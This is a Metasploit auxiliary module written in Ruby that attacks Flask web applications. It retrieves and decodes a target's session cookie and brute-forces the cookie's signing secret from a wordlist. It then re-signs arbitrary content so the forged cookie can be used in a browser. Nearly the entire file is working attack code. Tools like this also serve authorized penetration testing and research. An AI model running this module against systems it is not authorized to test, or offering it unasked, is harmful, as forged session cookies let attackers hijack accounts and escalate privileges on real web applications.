rapid7/metasploit-framework

View on GitHub
modules/auxiliary/gather/python_flask_cookie_signer.rb

Summary

Maintainability
A
3 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Flask Cookie Signer',
        'Description' => %q{
          This is a generic module which can manipulate Python Flask-based application cookies.
          The Retrieve action will connect to a web server, grab the cookie, and decode it.
          The Resign action will do the same as above, but after decoding it, it will replace
          the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
          cookie can then be used in a browser. This is a Ruby based implementation of some
          of the features in the Python project Flask-Unsign.
        },
        'Author' => [
          'h00die', # MSF module
          'paradoxis', #  original flask-unsign tool
          'Spencer McIntyre', # MSF flask-unsign library
        ],
        'References' => [
          ['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        },
        'Actions' => [
          ['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],
          ['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],
          ['Resign', { 'Description' => 'Resign the specified cookie data' }]
        ],
        'DefaultAction' => 'Retrieve',
        'DisclosureDate' => '2019-01-26' # first commit by @Paradoxis to the Flask-Unsign repo
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'URI to browse', '/']),
        OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),
        OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),
        OptPath.new('SECRET_KEYS_FILE', [
          false, 'File containing secret keys to try, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')
        ], conditions: %w[ACTION == FindSecret]),
      ]
    )
    register_advanced_options(
      [
        OptString.new('CookieName', [ true, 'The name of the session cookie', 'session' ]),
        OptString.new('Salt', [ true, 'The salt to use for key derivation', Msf::Exploit::Remote::HTTP::FlaskUnsign::Session::DEFAULT_SALT ])
      ]
    )
  end

  def action_find_secret
    print_status("#{peer} - Retrieving Cookie")
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

    cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
    fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie

    print_status("#{peer} - Initial Cookie: #{cookie}")

    # get the cookie value and strip off anything else
    cookie = cookie.split('=')[1].gsub(';', '')

    File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
      secret = secret.strip
      vprint_status("#{peer} - Checking secret key: #{secret}")

      unescaped_secret = unescape_string(secret)
      unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
        vprint_bad("#{peer} - Incorrect secret key: #{secret}")
        next
      end

      print_good("#{peer} - Found secret key: #{secret}")
      return secret
    end
    nil
  end

  def action_retrieve
    print_status("#{peer} - Retrieving Cookie")
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

    cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
    fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie

    print_status("#{peer} - Initial Cookie: #{cookie}")
    cookie = cookie.split('=')[1].gsub(';', '')
    begin
      decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
    rescue StandardError => e
      print_error("Failed to decode the cookie: #{e.class} #{e}")
      return
    end

    print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")

    # use dehex to allow \x style escape sequences for unprintable chars
    secret = unescape_string(datastore['SECRET'])
    salt = unescape_string(datastore['Salt'])

    if Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret, salt: salt)
      print_good("#{peer} - Secret key #{secret.inspect} is correct.")
    elsif datastore['SECRET'].present?
      print_warning("#{peer} - Secret key #{secret.inspect} is incorrect.")
    end
  end

  def run
    case action.name
    when 'Retrieve'
      action_retrieve
    when 'FindSecret'
      action_find_secret
    when 'Resign'
      print_status("Attempting to sign with key: #{datastore['SECRET']}")
      secret = Rex::Text.dehex(datastore['SECRET'])
      salt = Rex::Text.dehex(datastore['Salt'])
      encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(datastore['NEWCOOKIECONTENT'], secret, salt: salt)
      print_good("#{peer} - New signed cookie: #{datastore['CookieName']}=#{encoded_cookie}")
    end
  end

  def unescape_string(string)
    Rex::Text.dehex(string.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
  end
end